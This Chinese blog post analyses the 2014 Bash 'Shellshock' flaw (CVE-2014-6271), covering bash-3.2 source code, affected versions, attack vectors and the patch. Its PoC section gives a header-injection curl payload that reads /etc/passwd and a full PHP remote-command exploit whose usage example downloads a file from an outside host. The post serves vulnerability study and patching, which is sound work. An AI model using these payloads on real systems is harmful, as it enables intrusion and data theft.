现在的位置: 首页 > IT运维 > 正文

bash漏洞分析及解决方法(CVE-2014-6271)

2014年09月26日 IT运维 ⁄ 共 8234字 暂无评论 ⁄ 被围观 71+

bash的命令执行漏洞,目前已经有人写出了批量利用程序,漏洞曝光后,我也对漏洞进行了测试,该漏洞影响header所有字段包括自定义的字段。测试截图如下,检测工具比较简单,这次就不写了,只要执行curl命令回来一个请求就可以判断目标是否存在漏洞。

2

—————————————————————————————————————————————————————————————————————————

关于漏洞的详情分析可以看下文,出自http://www.cnblogs.com/LittleHann/p/3992778.html

目录

[php]漏洞的起因
漏洞原理分析
漏洞的影响范围
漏洞的POC、测试方法
漏洞的修复Patch[/php]

1. 漏洞的起因

这个漏洞的起因源自于Bash(Bourne Again SHell)的ENV指令http://ss64.com/bash/env.html

env: Display, set, or remove environment variables, Run a command in a modified environment.

[php]Syntax
env [OPTION]... [NAME=VALUE]... [COMMAND [ARGS]...]
1. Options
1) -u NAME
2) --unset=NAME
Remove variable NAME from the environment, if it was in the environment.
3) -i
--ignore-environment
Start with an empty environment, ignoring the inherited environment.
2. COMMAND [ARGS]
需要执行的指令[/php]

对这个指令,有两个关键点要注意

[php]1. ENV指令允许临时改变环境变量,即指定本次指令执行的环境变量,这从一定程度上给了黑客进行PATH Hajaking的可能性
2. ENV指令还允许在设置环境变量后进行指令执行,从某种程度上来说,ENV相当于一个指令执行的指令,同时还附带有临时设置环境变量的功能[/php]

Relevant Link:

[php]http://ss64.com/bash/env.html
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
http://seclists.org/oss-sec/2014/q3/651
https://access.redhat.com/node/1200223
http://seclists.org/oss-sec/2014/q3/650
https://community.qualys.com/blogs/securitylabs/2014/09/24/bash-remote-code-execution-vulnerability-cve-2014-6271[/php]

2. 漏洞原理分析

虽然ENV是一个指令执行的指令,但是这并不是这次CVE漏洞的产生原因,原因在于:

ENV的指令执行走的是正常的BASH指令解析、执行流程,而在一个采取了安全配置的服务器上,对敏感指令的执行都是进行用户级别的权限限制的,所以,ENV本身并不是任意指令执行。真正导致命令任意执行的原因是"Code Injection",即代码注入

[php]Under certain circumstances, bash will execute user code while processing the environment for exported function definitions.[/php]

我们以bash-3.2版本的源代码为例进行分析

[php]http://download.chinaunix.net/download.php?id=24862&ResourceID=7[/php]

\bash-3.2\builtins\evalstring.c

[php]...
if (interactive_shell == 0 && read_but_dont_execute)
{
last_result = EXECUTION_SUCCESS;
dispose_command (global_command);
global_command = (COMMAND *)NULL;
}
else if (command = global_command)
{
struct fd_bitmap *bitmap;

/*
这里没有对传入的command进行正确的边界检查,引入了代码注入的可能性
*/

bitmap = new_fd_bitmap (FD_BITMAP_SIZE);
begin_unwind_frame ("pe_dispose");
add_unwind_protect (dispose_fd_bitmap, bitmap);
add_unwind_protect (dispose_command, command); /* XXX */

global_command = (COMMAND *)NULL;
...[/php]

\bash-3.2\variables.c这个文件负责对bash中的变量进行解析,我们在ENV中进行的临时环境变量设置,将在这个文件中完成:

[php]/*
Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don't import functions from
ENV
or
parse $SHELLOPTS.
*/
void initialize_shell_variables (env, privmode) char **env; int privmode;
{
...
create_variable_tables ();

/*
从ENV环境变量中获取参数
*/
for (string_index = 0; string = env[string_index++]; )
{
char_index = 0;
name = string;
while ((c = *string++) && c != '=') ;
if (string[-1] == '=')
char_index = string - name - 1;

/* If there are weird things in the environment, like `=xxx' or a
string without an `=', just skip them. */
if (char_index == 0)
continue;

/* ASSERT(name[char_index] == '=') */
name[char_index] = '\0';
/*
Now, name = env variable name, string = env variable value, and char_index == strlen (name)
*/

/*
If exported function, define it now. Don't import functions from the environment in privileged mode.
解析环境变量设置中的函数定义
*/
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
{
string_length = strlen (string);
temp_string = (char *)xmalloc (3 + string_length + char_index);

strcpy (temp_string, name);
temp_string[char_index] = ' ';

strcpy (temp_string + char_index + 1, string);

/*
这句是关键,initialize_shell_variables对环境变量中的代码进行了执行,由于它错误的信任的外部发送的数据,形成了和SQL注入类似的场景,这句代码和PHP中的eval是类似的,黑客只要满足2个条件
1. 控制发送的参数,并在其中拼接payload
2. 黑客发送的包含payload的参数会被无条件的执行,而执行方不进行任何的边界检查

这就是典型的数据和代码没有进行正确区分导致的漏洞
*/
parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

// Ancient backwards compatibility. Old versions of bash exported functions like name()=() {...}
if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
name[char_index - 2] = '\0';

if (temp_var = find_function (name))
{
VSETATTR (temp_var, (att_exported|att_imported));
array_needs_making = 1;
}
else
report_error (_("error importing function definition for `%s'"), name);

/* ( */
if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
name[char_index - 2] = '('; /* ) */
}
}
}[/php]

从这个角度来看,这种漏洞应该采用防御SQL注入的思路来进行,对漏洞原理进行一下总结:

[php]1. bash(本地、ssh、cgi)允许使用ENV进行path临时设置
2. 黑客通过自定义函数,并导出到变量中
3. BASH对环境变量的设置是通过"代码执行(EVAl)"完成的,即把ENV的参数当成code来执行,这在正常情况下是没有问题的
4. 问题的关键是BASH没有对传入的参数进行正确的边界检查,导致数据和代码的混杂,产生了和PHP EVAL Code InJection类似的漏洞
env x='() { :;}; echo vulnerable'
5. 代码注入的关键点在
; echo vulnerable[/php]

Relevant Link:

[php]http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052[/php]

3. 漏洞的影响范围

这个漏洞属于代码级漏洞,所以漏洞的影响范围和Bash的源代码版本有关:

[php]bash-4.2.45-5.el7_0.2
bash-4.1.2-15.el6_5.1
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-9.el6_2.1
bash-4.1.2-15.el6_4.1
bash-3.2-33.el5.1
bash-3.2-33.el5_11.1.sjis.1
bash-3.2-24.el5_6.1
bash-3.2-32.el5_9.2
bash-3.0-27.el4.2[/php]

4. 漏洞的POC、测试方法
0x1: 攻击的场景

我们在第2小结分析了Bash的环境变量解析存在的漏洞,但是正如Redhat官网 的issue所说的,bash的这个漏洞只能算是本机任意指令执行漏洞,还不能算是远程代码执行,要达到远程代码执行,还需要其他方式的配合,我们来梳理 一下思路,要发动这个攻击,需要满足以下几个条件

[php]1. 必须存在对BASH的调用:因为只有Bash存在这个环境变量解析漏洞
1) 可以是本地交互的SHELL(就是poc的代码所证实的场景)
2) WEB接口对Bash的调用接口(例如 Bash CGI 即xxx.sh)

2. 我们要能够控制Bash执行的环境变量
1) 因为这个代码的注入点是在Bash的环境变量的设置中的
官方给出的ENV的那个poc,是了更好地解释这个原理

3. 接口会将我们传入的包含payload code参数带入环境变量中

4. 接口要能够将我们注入的代码执行结果返回回来
1) 这才能完成一个完整的代码注入流程[/php]

0x2: 攻击发动向量根据这些先决条件,我们可以得到一些攻击向量,我们这个时候发现,Bash CGI(xxx.sh)正好满足以上的这几个条件

[php]1. Linuc WEB Server提供的CGIL接口允许我们通过远程HTTP方式进行Bash调用
2. 客户端可以任意修改发送的HTTP头部的字段参数
3. Bash CGI会将客户端发送的HTTP数据包的HTTP头部的字段作为ENV的参数传入环境变量的设置函数中,也就是说,Bash CGI默认将HTTP头部参数作为环境变量设置源
4. 当我们的Code Inject Payload被传入Bash的环境设置函数之后,注入的代码被成功解析执行,代码执行的结继续以"环境变量"的形式保存在环境变量中
5. Bash CGI会返回的HTTP数据包中会将环境变量一并发送回客户端
//整个流程构成了一次完整的代码注入攻击[/php]

shell.sh

[php]#!/bin/bash
echo "Content-type: text/html"
echo ""

echo "<html>"
#下面这句不要也可以,加上这句只是为了更清晰的看出注入的结果
#/usr/bin/env
echo "</html>"[/php]

payload

[php]curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo "a: $a"' 'http://localhost/cgi-bin/shell.sh' -I[/php]

0x3: 手工测试方法

[php]poc:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

expected result:
vulnerable
this is a test

//如果出现这个结果,则说明本机的bash存在漏洞[/php]

0x4: 自动化测试方法

[php]<?php
/*
Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability
CVE: 2014-6271
Vendor Homepage: https://www.gnu.org/software/bash/
Author: Prakhar Prasad && Subho Halder
Author Homepage: https://prakharprasad.com && https://appknox.com
Date: September 25th 2014
Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd
Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit"
Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/

Test CGI Code : #!/bin/bash
echo "Content-type: text/html"
echo ""
echo "Bash-is-Vulnerable"

*/
error_reporting(0);
if(!defined('STDIN')) die("Please run it through command-line!\n");
$x = getopt("u:c:");
if(!isset($x['u']) || !isset($x['c']))
{
die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n");

}
$url = $x['u'];
$cmd = $x['c'];

$context = stream_context_create(
array(
'http' => array(
'method' => 'GET',
'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
)
)
);

if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0)
die("Command sent to the server!\n");
else
die("Connection Error\n");
?>
[/php]

0x5: 其他攻击向量

[php]1. httpd
1) webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源 2) 服务器提供了CGI脚本,当 CGI script被webserver执行的时候,CGI Script会去调用Bash
黑客可以通过开启了CGI的httpd服务器进行远程代码执行

2. Secure Shell (SSH)
对于git、rsync这类远程shell来说,常常会对用户可以执行的指令进行严格限制,但是这个BASH解析漏洞提供了一个bypass的向量

3. dhclient
动态主机配置协议客户端(dhclient的)被用来通过DHCP自动获取网络配置信息。该客户端使用不同的环境变量和运行bash来配置网络接口。连接到一个恶意的DHCP服务器可能允许攻击者在客户机上运行任意代码。
黑客通过在域中的DHCP服务器中对DHCP的回送包进行特定的修改,可以达到污染dhcpclient的环境变量参数的目的,从而进行远程代码执行

4. CUPS

5. sudo

6. Firefox[/php]

Relevant Link:

[php]http://www.exploit-db.com/exploits/34766/[/php]

5. 漏洞的修复Patch

从攻击方法上来看,这种漏洞属于边界检查缺失导致的代码注入漏洞,所以我们的修复思路也应该从这两个方面入手

[php]1. 进行正确的边界检查,严格区分函数定义和代码注入
2. 对输入参数进行参数化防御,不允许除了允许范围之外的参数传入[/php]

builtins/common.h

[php]/* Flags for describe_command, shared between type.def and command.def */
#define SEVAL_FUNCDEF 0x080 /* only allow function definitions */
#define SEVAL_ONECMD 0x100 /* only allow a single command */[/php]

builtins/evalstring.c

[php]if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
{
internal_warning ("%s: ignoring function definition attempt", from_file);
should_jump_to_top_level = 0;
last_result = last_command_exit_value = EX_BADUSAGE;
break;
}
..
if (flags & SEVAL_ONECMD)
break;[/php]

Relevant Link:

[php]http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052[/php]

Copyright (c) 2014 LittleHann All rights reserved

更多解决方法参见:Linux Bash安全漏洞解决方案

给我留言

您必须 [ 登录 ] 才能发表留言!

×
#